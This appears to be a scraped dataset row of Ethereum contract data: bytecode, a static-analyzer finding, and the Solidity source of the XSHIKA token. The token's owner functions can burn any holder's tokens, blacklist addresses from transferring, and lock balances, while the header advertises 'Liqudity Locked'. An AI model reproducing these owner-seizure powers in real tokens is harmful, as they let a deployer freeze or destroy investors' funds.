5180910390a25050565b6000546001600160a01b03163314611aee576040805162461bcd60e51b815260206004808301919091526024820152630313030360e41b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600254600114611b50576040805162461bcd60e51b815260206004808301919091526024820152633130303160e01b604482015290519081900360640190fd5b60006002819055338152600e6020526040902054611b9e576040805162461bcd60e51b815260206004808301919091526024820152633230303960e01b604482015290519081900360640190fd5b806000611bb38261271063ffffffff61252516565b336000908152600e6020526040902060020154909150811115611bf95750336000908152600e6020526040902060020154611bf68161271063ffffffff61299f16565b91505b336000908152600e6020526040902060020154611c1c908263ffffffff61282616565b336000908152600e6020526040902060020155600b54611c42908263ffffffff61282616565b600b55611c4e336126ab565b600354604080516301e9a69560e41b81523360048201526024810184905290516001600160a01b0390921691631e9a6950916044808201926020929091908290030181600087803b158015611ca257600080fd5b505af1158015611cb6573d6000803e3d6000fd5b505050506040513d6020811015611ccc57600080fd5b5051611d08576040805162461bcd60e51b815260206004808301919091526024820152633230313160e01b604482015290519081900360640190fd5b604051339083156108fc029084906000818181858888f19350505050158015611d35573d6000803e3d6000fd5b506040805183815260208101839052815133927fe5b754fb1abb7f01b499791d0b820ae3b6af3424ac1c59768edb53f4ec31a929928290030190a25050600160025550565b601060209081526000928352604080842090915290825290205481565b6000546001600160a01b03163314611ddf576040805162461bcd60e51b815260206004808301919091526024820152630313030360e41b604482015290519081900360640190fd5b600c805460ff1916911515919091179055565b6001600160a01b0381166000908152600e60205260408120805460018201546002909201548392839283928392839291611e348161271063ffffffff61299f16565b6001600160a01b038b166000908152600d6020526040902054611e58576000611e5b565b60015b6001600160a01b038c16600090815260116020526040902060010154611e82576000611eb1565b6001600160a01b038c16600090815260116020526040902060010154611eb19062ed4e0063ffffffff61257a16565b949c939b50919950975060ff169550909350915050565b60006127106008541015611ede57506000611f7a565b60015b600a548111611f74576000818152601260205260409020546001600160a01b03168015611f6b57611f10612b85565b506001600160a01b0381166000908152600e60209081526040918290208251606081018452815481526001820154928101929092526002015491810191909152611f5a8282612a25565b15611f6957509150611f7a9050565b505b50600101611ee1565b50600090505b90565b600254600114611fbd576040805162461bcd60e51b815260206004808301919091526024820152633130303160e01b604482015290519081900360640190fd5b6000600255611fcb336125bb565b15612006576040805162461bcd60e51b815260206004808301919091526024820152630c8c0ccd60e21b604482015290519081900360640190fd5b6001600160a01b0381166121ab576000600654118015612027575060065434145b612061576040805162461bcd60e51b815260206004808301919091526024820152631918189960e11b604482015290519081900360640190fd5b336000908152600e602052604090205461208a5761208533600060075460006125c1565b612129565b600754336000908152600e60205260409020600101546120af9163ffffffff61257a16565b336000818152600e60205260409020600101919091556120ce906126ab565b336000908152600e60205260409020600101546a0422ca8b0a00a4250000001015612129576040805162461bcd60e51b815260206004808301919091526024820152631918189b60e11b604482015290519081900360640190fd5b600080546040516001600160a01b03909116913480156108fc02929091818181858888f19350505050158015612163573d6000803e3d6000fd5b50604080516001600160a01b0383168152346020820152815133927fd0c183be209f70036b50de16805d88249019e1288d7b77ef877710999c0d08e6928290030190a26124d6565b336000908152600e6020526040902054156121f6576040805162461bcd60e51b815260206004808301919091526024820152633230313360e01b604482015290519081900360640190fd5b6127106008541015612238576040805162461bcd60e51b815260206004808301919091526024820152633230303560e01b604482015290519081900360640190fd5b6702c68af0bb14000034101580156122585750670de0b6b3a76400003411155b612292576040805162461bcd60e51b815260206004808301919091526024820152630c8c0c4d60e21b604482015290519081900360640190fd5b61229a612b85565b506001600160a01b0381166000908152600e602090815260409182902082516060810184528154815260018201549281019290925260020154918101919091526122e48282612a25565b61231e576040805162461bcd60e51b815260206004808301919091526024820152633230313560e01b604482015290519081900360640190fd5b60408101516002349081049190829003901561236c57604083015161234b9061271063ffffffff61299f16565b810190506123688360400151600b5461282690919063ffffffff16565b600b555b612375846129fe565b61237e846126ab565b825161239290339061c350340260006125c1565b6001600160a01b0384166000908152600d60205260409020541561241f576001600160a01b0384166000818152600d6020818152604080842080548552600f835290842080546001600160a01b0319908116909155948452919052818155600181018290556002810182905560038101829055600481018290556005810191909155600601805490911690555b6040516001600160a01b0385169083156108fc029084906000818181858888f19350505050158015612455573d6000803e3d6000fd5b50600080546040516001600160a01b039091169183156108fc02918491818181858888f1935050505015801561248f573d6000803e3d6000fd5b50604080516001600160a01b0386168152346020820152815133927fd0c183be209f70036b50de16805d88249019e1288d7b77ef877710999c0d08e6928290030190a25050505b506001600255565b600f602052600090815260409020546001600160a01b031681565b600a5481565b60085481565b60004282156108605761251e818463ffffffff61257a16565b9392505050565b60008115806125405750508082028282828161253d57fe5b04145b610860576040805162461bcd60e51b815260206004808301919091526024820152631898181960e11b604482015290519081900360640190fd5b80820182811015610860576040805162461bcd60e51b815260206004808301919091526024820152631898181960e11b604482015290519081900360640190fd5b3b151590565b8261265f5761271060085410612607576040805162461bcd60e51b815260206004808301919091526024820152633230303560e01b604482015290519081900360640190fd5b600880546001908101918290556040805160608101825292835260208084018681528483018681526001600160a01b038a166000908152600e90935292909120935184555191830191909155516002909101556126a5565b6040805160608101825284815260208082018581528284018581526001600160a01b0389166000908152600e909352939091209151825551600182015590516002909101555b50505050565b6001600160a01b0381166000908152600e602052604090205415806126f457506001600160a01b0381166000908152600e6020526040902060010154690a968163f0a57b400000105b8061272357506001600160a01b0381166000908152600e6020526040902060020154683635c9adc5dea0000011155b15612790576001600160a01b0381166000908152601160205260409020600101541561278b576001600160a01b0381166000818152601160208181526040808420805485526012835290842080546001600160a01b0319169055938352528082556001909101555b612823565b6001600160a01b03811660009081526011602052604090206001015461282357600a80546001019081905560408051808201909152908152602081016127d66000612505565b90526001600160a01b03821660008181526011602090815260408083208551815594820151600190950194909455600a548252601290529190912080546001600160a01b03191690911790555b50565b80820382811115610860576040805162461bcd60e51b815260206004808301919091526024820152631898181960e11b604482015290519081900360640190fd5b6001600160a01b0382166000908152600e60205260409020546128ba576040805162461bcd60e51b815260206004808301919091526024820152630323033360e41b604482015290519081900360640190fd5b6001600160a01b0383166000908152600e60205260409020600201546128e6908263ffffffff61282616565b6001600160a01b038085166000908152600e60205260408082206002908101949094559185168152200154612921908263ffffffff61257a16565b6001600160a01b0383166000908152600e6020526040902060020155612946836126ab565b61294f826126ab565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000826129ae57506000610860565b8115806129c7575060008284816129c157fe5b04915081115b610860576040805162461bcd60e51b815260206004820152600360248201526203130360ec1b604482015290519081900360640190fd5b6001600160a01b03166000908152600e602052604081208181556001810182905560020155565b600060018260000151118015612a495750690a968163f0a57b400000826020015111155b8015612a615750683635c9adc5dea000008260400151105b8015612aa35750612a726000612505565b6001600160a01b038416600090815260116020526040902060010154612aa19062ed4e0063ffffffff61257a16565b105b801561251e57506001600160a01b0383166000908152600d6020526040902054158061251e57506001600160a01b0383166000908152600d602052604090205415801590612b0a57506001600160a01b0383166000908152600d6020526040902060040154155b801561251e5750612b1b6000612505565b6001600160a01b0384166000908152600d6020526040902060020154109392505050565b6040518060e0016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160006001600160a01b031681525090565b6040518060600160405280600081526020016000815260200160008152509056fe71756f7461206d7573742062652067726561746572207468616e20353030303074673358c47342fa789675e033eb23f8f6d8af3260fb132afe9f5ddff90ac95e133fa265627a7a723158205ca6f4b93ddf9fc60aa65a73405b1d0d42b024859176500b6b3ba1b7d9543adc64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 6,079 |
0xe4985ac8ef51ff7c82884d1c4da0c271dec624c7
|
/*
- Space Shikoku (XSHIKA)
-Liqudity Locked
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract XSHIKA is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d691914610510578063dd62ed3e14610536578063df698fc914610564578063f2fde38b1461058a57610173565b806395d89b41146104b0578063a457c2d7146104b8578063a9059cbb146104e457610173565b806370a08231146103c7578063715018a6146103ed5780637238ccdb146103f5578063787f02331461043457806384d5d9441461045a5780638da5cb5b1461048c57610173565b8063313ce56711610130578063313ce567146102d157806339509351146102ef5780633d72d6831461031b57806352a97d5214610347578063569abd8d1461036d5780635e558d221461039557610173565b806306fdde0314610178578063095ea7b3146101f557806318160ddd1461023557806319f9a20f1461024f57806323b872dd1461027557806324d7806c146102ab575b600080fd5b6101806105b0565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102216004803603604081101561020b57600080fd5b506001600160a01b038135169060200135610646565b604080519115158252519081900360200190f35b61023d610663565b60408051918252519081900360200190f35b6102216004803603602081101561026557600080fd5b50356001600160a01b0316610669565b6102216004803603606081101561028b57600080fd5b506001600160a01b038135811691602081013590911690604001356106e5565b610221600480360360208110156102c157600080fd5b50356001600160a01b031661076c565b6102d961078a565b6040805160ff9092168252519081900360200190f35b6102216004803603604081101561030557600080fd5b506001600160a01b038135169060200135610793565b6102216004803603604081101561033157600080fd5b506001600160a01b0381351690602001356107e1565b6102216004803603602081101561035d57600080fd5b50356001600160a01b031661084a565b6103936004803603602081101561038357600080fd5b50356001600160a01b03166108b2565b005b610221600480360360608110156103ab57600080fd5b506001600160a01b0381351690602081013590604001356109d0565b61023d600480360360208110156103dd57600080fd5b50356001600160a01b0316610a46565b610393610a61565b61041b6004803603602081101561040b57600080fd5b50356001600160a01b0316610b0e565b6040805192835260208301919091528051918290030190f35b6102216004803603602081101561044a57600080fd5b50356001600160a01b0316610b55565b6102216004803603606081101561047057600080fd5b506001600160a01b038135169060208101359060400135610bbd565b610494610c3a565b604080516001600160a01b039092168252519081900360200190f35b610180610c4e565b610221600480360360408110156104ce57600080fd5b506001600160a01b038135169060200135610caf565b610221600480360360408110156104fa57600080fd5b506001600160a01b038135169060200135610d17565b6102216004803603602081101561052657600080fd5b50356001600160a01b0316610d2b565b61023d6004803603604081101561054c57600080fd5b506001600160a01b0381358116916020013516610d49565b6103936004803603602081101561057a57600080fd5b50356001600160a01b0316610d74565b610393600480360360208110156105a057600080fd5b50356001600160a01b0316610ea9565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b820191906000526020600020905b81548152906001019060200180831161061f57829003601f168201915b5050505050905090565b600061065a610653611013565b8484611017565b50600192915050565b60055490565b600060026000610677611013565b6001600160a01b0316815260208101919091526040016000205460ff1615156001146106d45760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b6106dd82611103565b506001919050565b60006106f28484846111b2565b610762846106fe611013565b61075d85604051806060016040528060288152602001611bcc602891396001600160a01b038a1660009081526004602052604081209061073c611013565b6001600160a01b03168152602081019190915260400160002054919061151d565b611017565b5060019392505050565b6001600160a01b031660009081526002602052604090205460ff1690565b60085460ff1690565b600061065a6107a0611013565b8461075d85600460006107b1611013565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fb2565b60006107eb611013565b60085461010090046001600160a01b03908116911614610840576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b61065a83836115b4565b6000610854611013565b60085461010090046001600160a01b039081169116146108a9576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826116b0565b6108ba611013565b60085461010090046001600160a01b0390811691161461090f576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff16156109675760405162461bcd60e51b8152600401808060200182810382526021815260200180611cc66021913960400191505060405180910390fd5b6001600160a01b0381166109ac5760405162461bcd60e51b8152600401808060200182810382526026815260200180611b4e6026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b6000600260006109de611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610a3b5760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b61076284848461179c565b6001600160a01b031660009081526020819052604090205490565b610a69611013565b60085461010090046001600160a01b03908116911614610abe576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b60085460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360088054610100600160a81b0319169055565b6001600160a01b03811660009081526003602052604081206001810154829190421115610b42576000809250925050610b50565b805460019091015490925090505b915091565b6000610b5f611013565b60085461010090046001600160a01b03908116911614610bb4576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826118e3565b600060026000610bcb611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610c285760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b610a3b610c33611013565b85856111b2565b60085461010090046001600160a01b031690565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b600061065a610cbc611013565b8461075d85604051806060016040528060258152602001611ca16025913960046000610ce6611013565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061151d565b600061065a610d24611013565b84846111b2565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610d7c611013565b60085461010090046001600160a01b03908116911614610dd1576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff161515600114610e43576040805162461bcd60e51b815260206004820152601d60248201527f4f776e61626c653a2061646472657373206973206e6f742061646d696e000000604482015290519081900360640190fd5b6001600160a01b038116610e885760405162461bcd60e51b8152600401808060200182810382526026815260200180611b286026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19169055565b610eb1611013565b60085461010090046001600160a01b03908116911614610f06576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b038116610f4b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611a986026913960400191505060405180910390fd5b6008546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282018381101561100c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661105c5760405162461bcd60e51b8152600401808060200182810382526024815260200180611c5a6024913960400191505060405180910390fd5b6001600160a01b0382166110a15760405162461bcd60e51b8152600401808060200182810382526022815260200180611abe6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03811660008181526003602052604090209061116d576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b60006001820181905580825560405181906001600160a01b038516907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf08685580908390a45050565b6001600160a01b0383166000818152600360205260409020906112065760405162461bcd60e51b8152600401808060200182810382526025815260200180611c356025913960400191505060405180910390fd5b6001600160a01b03831661124b5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a306023913960400191505060405180910390fd5b6001600160a01b03841660009081526001602052604090205460ff16156112b2576040805162461bcd60e51b8152602060048201526016602482015275022a92199181d1039b2b73232b91030b2323932b9b9960551b604482015290519081900360640190fd5b6112bd8484846119e8565b80541561144657806001015442111561136657600060018201819055815560408051606081019091526026808252611319918491611b0260208301396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546113489083610fb2565b6001600160a01b038416600090815260208190526040902055611441565b60006113a98260000154604051806060016040528060228152602001611ae0602291396001600160a01b038816600090815260208190526040902054919061151d565b90506113d083604051806060016040528060268152602001611b026026913983919061151d565b6001600160a01b038616600090815260208190526040902081905582546113f79190610fb2565b6001600160a01b0380871660009081526020819052604080822093909355908616815220546114269084610fb2565b6001600160a01b038516600090815260208190526040902055505b6114cc565b61148382604051806060016040528060268152602001611b02602691396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546114b29083610fb2565b6001600160a01b0384166000908152602081905260409020555b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600081848411156115ac5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611571578181015183820152602001611559565b50505050905090810190601f16801561159e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166115f95760405162461bcd60e51b8152600401808060200182810382526021815260200180611c146021913960400191505060405180910390fd5b611605826000836119e8565b61164281604051806060016040528060228152602001611a76602291396001600160a01b038516600090815260208190526040902054919061151d565b6001600160a01b03831660009081526020819052604090205560055461166890826119ed565b6005556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b0381166116f55760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602052604090205460ff161561174d5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a536023913960400191505060405180910390fd5b6001600160a01b0381166000818152600160208190526040808320805460ff191683179055519092917f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c291a350565b6001600160a01b038316600081815260036020526040902090611806576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b80546118129084610fb2565b6001600160a01b03851660009081526020819052604090205410156118685760405162461bcd60e51b8152600401808060200182810382526030815260200180611b746030913960400191505060405180910390fd5b6000816001015411801561187f5750806001015442115b156118905760006001820181905581555b6001810182905580546118a39084610fb2565b8082556040518391906001600160a01b038716907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558090600090a450505050565b6001600160a01b0381166119285760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602081905260409091205460ff1615151461199b576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2041646472657373206e6f7420626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b038116600081815260016020526040808220805460ff19169055519091907f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c2908390a350565b505050565b600061100c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061151d56fe4552433230